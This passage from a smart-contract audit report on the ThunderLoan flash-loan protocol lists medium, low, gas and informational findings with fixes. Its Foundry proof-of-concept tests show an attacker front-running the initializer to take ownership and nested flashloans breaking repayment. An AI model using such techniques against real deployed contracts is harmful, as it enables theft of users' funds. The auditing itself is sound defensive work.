        PoolFactory poolFactory = new PoolFactory(address(weth));
        address tSwapPool = poolFactory.createPool(address(weirdToken))
            ;
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(poolFactory));

        // Allow the weird token
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(weirdToken, true);

        // Supply the TSwap pool
        vm.startPrank(liquidityProvider);
        weirdToken.mint(liquidityProvider, DEPOSIT_AMOUNT);
        weirdToken.approve(address(tSwapPool), DEPOSIT_AMOUNT);
        weth.mint(liquidityProvider, DEPOSIT_AMOUNT);
        weth.approve(address(tSwapPool), DEPOSIT_AMOUNT);
        TSwapPool(tSwapPool).deposit(DEPOSIT_AMOUNT, DEPOSIT_AMOUNT,
            DEPOSIT_AMOUNT, uint64(block.timestamp));
        vm.stopPrank();

        vm.startPrank(liquidityProvider);
        weirdToken.mint(liquidityProvider, DEPOSIT_AMOUNT);
        weirdToken.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        // Actually deposited 90% of the amount, other 10% was burned
            by WeirdERC20
        thunderLoan.deposit(weirdToken, DEPOSIT_AMOUNT);
        // Now we can't withdraw the full amount, as ThunderLoan thinks
             we deposited 100% of the DEPOSIT_AMOUNT
        vm.expectRevert(
            abi.encodePacked(
                IERC20Errors.ERC20InsufficientBalance.selector,
                abi.encode(
                    address(thunderLoan.getAssetFromToken(weirdToken)),
                    DEPOSIT_AMOUNT * 90 / 100,
                    DEPOSIT_AMOUNT
                )
            )
        );
        thunderLoan.redeem(weirdToken, type(uint256).max);
        vm.stopPrank();
    }
```

The test passes, meaning that we were not able to withdraw the full amount of the funds and the contract reverted with ERC20InsufficientBalance. We can still withdraw the 90% of our deposit (although we would get 81% back, as that would trigger another burn on transfer), but the fee calculations would be all broken, and `ThunderLoan::redeem` function won't work with it's `type(uint256).max` functionality. That is, taking into the account, that we fixed the `[H-2]` issue that changes the exchange rate on deposit.

**Recommended Mitigation:** Make sure to test the protocol with different ERC-20 tokens, and limit the usage of the protocol to the tokens that are known to work correctly.

#### [M-5] Centralization risk for trusted owners

**Description:** There are functions on protocol methods that can only be called by the owner (admin) of the protocol. This could lead to centralization risk, as the owner could perform any action on the protocol.

**Impact:** The owner could perform any action on the protocol, including stealing the funds from the liquidity providers, changing the protocol logic, or freezing the protocol.

**Recommended Mitigation:** Make sure that the owner is a trusted party, and look into using a multisig wallet for the owner. Also make sure that users of the protocol know about the centralization risk, and consider using a DAO for the protocol.

### Low

#### [L-1] `ThunderLoan` contract initializer can be front-run by the attacker, which would set them as contract owner

**Description:** The `ThunderLoan` contract initializer can be front-run by the attacker, which would set them as the contract owner. The `ThunderLoan` contract uses the `OwnableUpgradeable` contract, which has an `__Ownable_init` function that sets the contract owner. The `__Ownable_init` function is called in the `ThunderLoan` contract initializer, which can be front-run by the attacker, and they would set themselves as the contract owner.

```
    function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
        s_feePrecision = 1e18;
        s_flashLoanFee = 3e15; // 0.3% ETH fee
    }
```

**Impact:** The attacker would set themselves as the contract owner, which would allow them to perform any action on the contract, including stealing the funds from the liquidity providers.

**Proof of Concept:** We can write a test function, that will initialize the contract on behalf of the user, making him the owner of the contract:

```
    function testFrontRunInitializer() public {
        thunderLoan = new ThunderLoan();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));

        vm.prank(user);
        thunderLoan.initialize(address(mockPoolFactory));

        assertEq(user, thunderLoan.owner());
    }
```

As we can see, test passes, meaning that the attacker was able to set themselves as the contract owner:

```
Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testFrontRunInitializer() (gas: 2880306)
Suite result: ok. 1 passed; 0 failed; 0 skipped;
```

**Recommended Mitigation:** Consider using a factory contract to deploy the `ThunderLoan` contract.

### [L-2] The `ThunderLoan::repay` function becomes unusable after taking second flashloan and repaying it, so that the first flashloan could not be repaid

**Description:** The `ThunderLoan::repay` function becomes unusable after taking second flashloan while the first one has not been repaid yet, as the `s_currentlyFlashLoaning[token]` is being set to `false` after the second flashloan finishes, the first one can't be repaid because of the `revert` in the `ThunderLoan::repay` function:

```
    function repay(IERC20 token, uint256 amount) public {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        ...
    }
```

**Impact:** Users won't be able to perform complex flashloan operations as the `ThunderLoan::repay` function becomes unusable after taking the second flashloan and repaying it.

**Proof of Concept:** We can write a test function, in which we would take out two flashloans, and then try to repay the first one. First let's write a contract that would be responsible for taking out the second flashloan and repay the second and the first one:

```
contract SeveralFlashLoansReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    bool isSecond;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!isSecond) {
            isSecond = true;
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(IERC20(token), amount + fee);
        } else {
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(IERC20(token), amount + fee);
        }
        return true;
    }

    function redeemDeposit(address token, uint256 amount) public {
        thunderLoan.redeem(IERC20(token), amount);
        IERC20(token).transfer(address(msg.sender), IERC20(token).
            balanceOf(address(this)));
    }
}
```

Then we can write a test function to see if the `ThunderLoan::repay` function becomes unusable after repaying the second flashloan:

```
    function testCantRepayAfterSecondFlashloan() public setAllowedToken
        hasDeposits {
```

```
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        SeveralFlashLoansReceiver severalFlashLoansReceiver = new
            SeveralFlashLoansReceiver(address(thunderLoan));
        vm.startPrank(user);
        tokenA.mint(address(severalFlashLoansReceiver), AMOUNT);
        vm.expectRevert(abi.encodePacked(ThunderLoan.
            ThunderLoan__NotCurrentlyFlashLoaning.selector));
        thunderLoan.flashloan(address(severalFlashLoansReceiver),
            tokenA, amountToBorrow, "");
    }
```

Test passes, meaning that the `ThunderLoan::repay` function reverted with the `ThunderLoan__NotCurrentlyFlashLoaning` error:

```
Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testCantRepayAfterSecondFlashloan() (gas: 1476333)
Suite result: ok. 1 passed; 0 failed; 0 skipped;
```

**Recommended Mitigation:** Consider keeping track of the opened flashloans by assigning a unique identifier to each flashloan, and then checking if the flashloan with that identifier has been repaid. You can also Consider adding a mechanism that enforces the repayment of an existing flashloan before initiating a new one. This could prevent users from triggering overlapping flashloans and encountering the issue in the first place.

#### [L-3] Update of the fee at `ThunderLoan::updateFlashLoanFee` does not emit an event

**Description:** The update of the fee at `ThunderLoan::updateFlashLoanFee` does not emit an event, which would notify the users that the fee has been updated.

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
->      s_flashLoanFee = newFee;
    }
```

**Impact:** The absence of an event emitted when the flash loan fee is updated can lead to a lack of transparency for users and external systems relying on event logs to monitor fee changes.

**Recommended Mitigation:** Consider adding an event that would notify the users that the fee has been updated:

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
        emit FlashLoanFeeUpdated(newFee);
    }
```

## Gas

### [G-1] Using `private` constants instead of `public` ones saves gas

You can save some deployment gas by using **`private`** constants instead of **`public`** ones. That way the compiler won't have to create non-payable getter functions for them. The `FEE_PRECISION` constant is used only within the `ThunderLoan` contract, so it can be made **`private`**:

```
contract ThunderLoanUpgraded is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
    ...
    uint256 private constant FEE_PRECISION = 1e18;
    ...
}
```

Also, the `EXCHANGE_RATE_PRECISION` constant in `AssetToken` contract can be made **`private`**
:

```
contract AssetToken is ERC20 {
    ...
    uint256 private constant EXCHANGE_RATE_PRECISION = 1e18;
    ...
}
```

### [G-2] `AssetToken::updateExchangeRate` function uses too much SLOAD operations

The function `AssetToken::updateExchangeRate` unnecessarily uses too many storage reads, which cost additional gas. You can load the variable once, and then use it throughout the function:

```
    function updateExchangeRate(uint256 fee) external onlyThunderLoan {
        // 1. Get the current exchange rate
        // 2. How big the fee is should be divided by the total supply
        // 3. So if the fee is 1e18, and the total supply is 2e18, the
            exchange rate be multiplied by 1.5
        // if the fee is 0.5 ETH, and the total supply is 4, the
            exchange rate should be multiplied by 1.125
        // it should always go up, never down
        // newExchangeRate = oldExchangeRate * (totalSupply + fee) /
            totalSupply
            // newExchangeRate = 1 (4 + 0.5) / 4
            // newExchangeRate = 1.125
->          uint256 currentExchangeRate = s_exchangeRate;
->          uint256 newExchangeRate = currentExchangeRate * (totalSupply()
    + fee) / totalSupply();

->          if (newExchangeRate <= currentExchangeRate) {
->              revert AssetToken__ExhangeRateCanOnlyIncrease(
    currentExchangeRate, newExchangeRate);
            }
            s_exchangeRate = newExchangeRate;
->          emit ExchangeRateUpdated(newExchangeRate);
        }
```

### [G-3] Unused function `OracleUpgradeable::getPrice` can be removed

The `OracleUpgradeable::getPrice` function is not used anywhere in the protocol and can be removed in order to save on deployment gas costs:

```
    function getPrice(address token) external view returns (uint256) {
        return getPriceInWeth(token);
    }
```

### [G-4] Unused custom error `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` can be removed

The custom error `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` is not used anywhere in the protocol and can be removed in order to save on deployment gas costs:

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

### [G-5] Use `uint256` values 1/2 instead of bool to save gas and avoid frequent Gwarmaccess and Gsset operation when setting bool to false and then back to true

Use `uint256(1)` and `uint256(2)` for **`true`** / **`false`** to avoid a `Gwarmaccess (100 gas)`, and to avoid `Gsset (20000 gas)` when changing from **`false`** to **`true`**, after having been **`true`** in the past.

```
contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
    ...
    mapping(IERC20 token => uint256 currentlyFlashLoaning) private
        s_currentlyFlashLoaning;
    ...
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        ...
        s_currentlyFlashLoaning[token] = 2; // 2 instead of true
        ...
        s_currentlyFlashLoaning[token] = 1; // 1 instead of false
    }
    ...
    function repay(IERC20 token, uint256 amount) public {
        if (s_currentlyFlashLoaning[token] != 2) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
    ...
    function isCurrentlyFlashLoaning(IERC20 token) public view returns
       (bool) {
        return s_currentlyFlashLoaning[token] == 2;
    }
}
```

### [G-6] Variable `s_feePrecision` in `ThunderLoan` contract can be made `constant`

The `s_feePrecision` variable in the `ThunderLoan` contract is never modified after initialization and can be made `constant` to save gas:

```
    uint256 private constant FEE_PRECISION = 1e18;
```

### [G-7] `public` functions not used internally could be marked `external`

Functions that are not used internally can be marked `external` to save gas in `ThunderLoan` and `ThunderLoanUpgraded` contracts:

```
    function repay(IERC20 token, uint256 amount) external {
        ...
    }
    function getAssetFromToken(IERC20 token) external view returns (
        AssetToken) {
         return s_tokenToAssetToken[token];
    }
    function isCurrentlyFlashLoaning(IERC20 token) external view
        returns (bool) {
         return s_currentlyFlashLoaning[token];
    }
```

### Informational

#### [I-1] Unused import

There's an unused import of `IThunderLoan` at `./src/interfaces/IFlashLoanReceiver.sol`:

```
import { IThunderLoan } from "./IThunderLoan.sol";
```

The `MockFlashLoanReceiver.sol` imports `IThunderLoan` from `IFlashLoanReceiver.sol` for some reason, but instead should import the interface directly from `IThunderLoan.sol`.

#### [I-2] There is no natspec for several functions throughout the codebase

The following functions or contracts lack natspec: - `IFlashLoanReceiver::executeOperation` function - `ThunderLoan::deposit` function - `ThunderLoan::redeem` function lacks explanation of the `amountOfAssetToken == type(uint256).max` case to withdraw all the available funds - `OracleUpgradeable` contract - Other functions of the `ThunderLoan` contract

#### [I-3] The `ThunderLoan` contract does not implement the `IThunderLoan` interface as it should

Consider implementing the `IThunderLoan` interface in the `ThunderLoan` contract and extending the interface to cover all of the functions in the contract.

#### [I-4] Missing `address(0)` check at `OracleUpgradeable::__Oracle_init_unchained`

`OracleUpgradeable::__Oracle_init_unchained` function lacks a check for the `address(0)` value:

```
    function __Oracle_init_unchained(address poolFactoryAddress)
       internal onlyInitializing {
->      s_poolFactory = poolFactoryAddress;
    }
```

#### [I-5] Fork tests not used despite using an external protocol

The `ThunderLoan` contract uses an external protocol, `TSwap`, for price oracles. Consider writing fork tests to test the integration with the external protocol. The `ITSwapPool::getPriceOfOnePoolTokenInWeth` should be tested in particular.

#### [I-6] PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

#### [I-7] Misleading naming of variable in `ThunderLoan::initialize` function

Consider changing the `tswapAddress` name to `poolFactoryAddress` for more consistency and clarity.

```
->  function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
        s_feePrecision = 1e18;
        s_flashLoanFee = 3e15; // 0.3% ETH fee
    }
```

#### [I-8] `ThunderLoan::flashloan` function doesn't follow the CEI pattern

The `ThunderLoan::flashloan` function doesn't follow the CEI pattern, which may lead to reentrancy attacks. Consider following the CEI pattern and emit the FlashLoanStart and FlashLoanEnd events before and after the interactions, respectively, if needed.

```
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        ...
->      emit FlashLoan(receiverAddress, token, amount, fee, params); // Event is emitted before the interactions

        s_currentlyFlashLoaning[token] = true;
        assetToken.transferUnderlyingTo(receiverAddress, amount);
        // slither-disable-next-line unused-return reentrancy-vulnerabilities-2
        receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );
        ...
    }
```

### [I-9] Custom revert reason unclear

Consider adding `IERC20 token` to the `ThunderLoan::ThunderLoan__AlreadyAllowed` error for more clarity.

```
    function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
->              revert ThunderLoan__AlreadyAllowed(); // Revert with token for better clarity
            }
            ...
        } else {
            ...
        }
    }
```

### [I-10] No checks for name or symbol at `ThunderLoan::setAllowedToken`

Consider checking whether the token has a `name` and `symbol` before adding it to the `s_tokenToAssetToken` mapping.

```
    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
        if (allowed) {
            ...
->          string memory name = string.concat("ThunderLoan ",
   IERC20Metadata(address(token)).name()); // Token might not have a
   name or symbol
->          string memory symbol = string.concat("tl", IERC20Metadata(
   address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token
                , name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            ...
        } else {
            ...
        }
    }
```

### [I-11] Test coverage is too low

The test coverage is too low, consider writing more tests to cover the whole codebase in order to ensure the correctness of the protocol.

### [I-12] Upgradeable contract is missing a `__gap[]` storage variable to allow for new storage variables in later versions

When designing an upgradeable smart contract using proxies, the storage layout must remain consistent across all contract versions. If additional storage variables are added in future contract versions without reserved space, it can lead to storage collisions with existing variables, potentially leading to critical issues such as data corruption or loss. To mitigate the risk of storage collisions when upgrading the contract, it is recommended to include a reserved storage gap in the contract. This reserved storage gap should be large enough to accommodate potential storage variables that may be introduced in future contract versions. A common practice is to include a private `__gap` variable in the contract, which is an array of empty bytes32/uint256 variables. This `__gap` variable should be the last declared variable in the contract to ensure that it occupies the last storage slots, allowing additional variables to be added before it in future contract versions:

```
contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
    ...
    // Reserved storage space to allow for layout changes in the future
        .
    uint256[50] private __gap;
    ...
}
```

### [I-13] Parameters of `IThunderLoan::repay` and `ThunderLoan::repay` functions are different, which could lead to incorrect usage and the functionality not working as expected

`IThunderLoan` interface describes the `repay` function as follows:

```
interface IThunderLoan {
    function repay(address token, uint256 amount) external;
}
```

The implementation, however, has a different signature, and instead of `address` it takes `IERC20` as the first parameter:

```
contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
    ...
    function repay(IERC20 token, uint256 amount) public {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
    ...
}
```

The incorrect usage of the `repay` function could lead to the functionality not working as expected. The user might not be able to repay the flashloan correctly. Make sure that the interface and the implementation have the same parameters.